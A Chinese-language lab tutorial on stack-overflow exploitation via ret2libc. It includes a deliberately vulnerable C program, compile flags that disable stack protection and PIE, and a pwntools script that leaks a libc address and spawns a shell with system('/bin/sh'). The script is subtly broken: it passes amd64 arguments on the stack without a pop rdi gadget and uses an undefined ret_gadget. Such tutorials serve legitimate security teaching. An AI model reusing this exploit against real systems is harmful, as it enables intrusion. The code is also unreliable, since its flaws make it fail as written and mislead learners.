3. 栈溢出利用
任务目标
本案例通过一个存在栈溢出漏洞的程序,演示 ret2libc 攻击的完整流程:首先泄露 libc 中某个函数的真实地址,据此计算 libc 基址,进而得到 system 函数与 /bin/sh 字符串的地址,最终劫持控制流执行 system("/bin/sh") 获取 shell。
环境与依赖
- Ubuntu 20.04+(x86_64),关闭 ASLR 或使用
setarch -R运行 - Python 3 + pwntools:
pip install pwntools - GCC 编译(关闭栈保护、PIE):
gcc -no-pie -fno-stack-protector -o vuln vuln.c
漏洞程序(vuln.c)
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buf[64];
read(0, buf, 0x200); // 栈溢出:允许读入 512 字节
}
int main() {
setbuf(stdout, NULL);
puts("Input:");
vuln();
return 0;
}
攻击脚本(exploit.py)
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
# 远程或本地
p = process('./vuln')
# p = remote('target', 1337)
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 需要泄露的 GOT 表项(puts 已被调用过,地址已解析)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln_addr = elf.symbols['vuln']
# 第一阶段:调用 puts(puts_got) 泄露地址,然后返回 vuln 再次溢出
payload1 = b'A' * 72 # 覆盖 buf(64) + rbp(8)
payload1 += p64(puts_plt) # 返回地址 → puts@plt
payload1 += p64(vuln_addr) # puts 返回地址 → vuln
payload1 += p64(puts_got) # puts 参数 → GOT 表项
p.recvuntil(b'Input:\n')
p.send(payload1)
# 接收泄露的 puts 地址(6 字节,补零到 8 字节)
leak = p.recvline().strip().ljust(8, b'\x00')
puts_addr = u64(leak)
log.info(f'puts addr: {hex(puts_addr)}')
# 计算 libc 基址
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f'libc base: {hex(libc_base)}')
log.info(f'system: {hex(system_addr)}')
log.info(f'/bin/sh: {hex(binsh_addr)}')
# 第二阶段:再次溢出,调用 system("/bin/sh")
payload2 = b'B' * 72
payload2 += p64(ret_gadget) # 栈对齐(若需要)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef) # system 返回地址(随意)
payload2 += p64(binsh_addr)
p.recvuntil(b'Input:\n')
p.send(payload2)
p.interactive()
关键说明
- 偏移量 72:
buf[64]+ 保存的rbp(8 字节)= 72 字节后到达返回地址。 - 栈对齐:Ubuntu 20.04 的 libc 中
system使用movaps指令,要求栈 16 字节对齐。若执行报错,在system前插入一个retgadget(如0x40101a,可用ROPgadget --binary ./vuln | grep ret查找)。 - ASLR:若系统开启 ASLR,需用
setarch $(uname -m) -R ./vuln运行,或直接攻击远程(远程同样泄露后计算)。
运行与验证
# 编译
gcc -no-pie -fno-stack-protector -o vuln vuln.c
# 运行攻击(本地)
python3 exploit.py
# 若需关闭 ASLR 运行
setarch $(uname -m) -R ./vuln
通过条件:脚本执行后进入交互模式,输入 ls、whoami 等命令能正常执行并返回输出,即表示成功获取 shell。
常见问题
- 泄露地址为 0x7f... 但计算错误:确认本地 libc 路径与远程一致,或使用
libc-database匹配远程版本。 - 第二次溢出崩溃:检查栈对齐,添加
retgadget;确认/bin/sh地址搜索正确。 - 无法接收泄露数据:
puts输出后换行,用recvline接收;若程序有额外输出,调整接收逻辑。